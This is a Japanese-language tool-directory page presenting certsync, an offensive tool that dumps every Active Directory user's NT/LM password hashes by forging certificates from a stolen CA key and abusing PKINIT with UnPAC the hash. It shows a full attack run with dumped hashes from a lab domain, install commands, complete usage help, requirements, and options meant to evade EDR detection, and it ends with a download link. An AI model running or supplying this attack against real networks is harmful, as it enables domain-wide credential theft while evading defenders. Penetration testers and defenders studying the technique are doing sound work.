Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
certsync — ゴールデン証明書を使用してNTDSをダンプし、UnPAC the hashを実行する | Kitploit
ツール/GitHubGitHub/zblurx/certsync
特権昇格脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテスト認証レッドチーミング
GitHubzblurx/certsync

certsync

ゴールデン証明書を使用してNTDSをダンプし、UnPAC the hashを実行する

リポジトリを見る
649682年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

certsync

certsync は、NTDS をリモートでダンプするための新しい手法ですが、今回は DRSUAPI を使用しません。golden certificate と UnPAC the hash を利用します。 これは、いくつかのステップで動作します:

  1. LDAP からユーザーリスト、CA 情報、CRL をダンプ
  2. CA 証明書と秘密鍵をダンプ
  3. 各ユーザーに対してオフラインで証明書を偽造
  4. 各ユーザーに対して UnPAC the hash を実行し、NT および LM ハッシュを取得
root@kitploit:~
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::

私たちが考えるかもしれないこととは逆に、この攻撃は決して遅くありません。

目次

  • certsync
    • 目次
    • インストール
    • 使用方法
    • なぜか
    • 必要条件
    • 制限事項
    • OPSEC
    • クレジット

インストール

ローカル:

root@kitploit:~
git clone https://github.com/zblurx/certsync
cd certsync
pip install .

Pypi から:

root@kitploit:~
pip install certsync

BlackArch から:

root@kitploit:~
pacman -S certsync

すべての OS ディストリビューションパッケージ:

Packaging status

使用方法

root@kitploit:~
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
                [-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
                [-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]

Dump NTDS with golden certificates and UnPAC the hash

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -outputfile OUTPUTFILE
                        base output filename

CA options:
  -ca-pfx pfx/p12 file name
                        Path to CA certificate. If used, will skip backup of CA certificate and private key
  -ca-ip ip address     IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP

authentication options:
  -d domain.local, -domain domain.local
                        Domain name
  -u username, -username username
                        Username
  -p password, -password password
                        Password
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -kdcHost KDCHOST      FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection options:
  -scheme ldap scheme
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

OPSEC options:
  -ldap-filter LDAP_FILTER
                        ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
  -template cert.pfx    base template to use in order to forge certificates
  -timeout timeout      Timeout between PKINIT connection
  -jitter jitter        Jitter between PKINIT connection
  -randomize            Randomize certificate generation. Takes longer to generate all the certificates

なぜか

DSRUAPI はますます監視されるようになり、EDR ソリューションによって制限されることもあります。さらに、certsync はドメイン管理者を使用する必要がなく、CA 管理者のみが必要です。

必要条件

この攻撃には以下が必要です:

  • ドメイン内の ADCS サーバー上に構成されたエンタープライズ CA、
  • PKINIT が機能していること、
  • ADCS サーバー上でローカル管理者権限を持つドメインアカウント、または CA 証明書と秘密鍵のエクスポート。

制限事項

失効したユーザーに対しては PKINIT を実行できないため、それらのハッシュをダンプすることはできません。

OPSEC

ツールの動作をカスタマイズするために、いくつかのオプションが追加されました:

  • -ldap-filter: certsync でユーザー名を選択するために使用される LDAP フィルターを変更します。
  • -template: 既に配信された証明書を使用して、ユーザー証明書を偽造する際にそれを模倣します。
  • -timeout と -jitter: PKINIT 認証要求間のタイムアウトを変更します。
  • -randomize: デフォルトでは、すべての偽造ユーザー証明書が同じ秘密鍵、シリアル番号、有効期限を持ちます。このパラメータはそれらをランダム化しますが、偽造に時間がかかります。

クレジット

  • Olivier Lyak 氏、ADCS に関するすべての業績と certipy に対して。
  • Benjamin Delpy 氏、UnPAC the hash 技術に対して。
  • Will Schroeder 氏と Lee Christensen 氏、Certified Pre-Owned と Certify に対して。
  • Mayfly 氏、素晴らしいラボ GOAD に対して。
ツールをダウンロード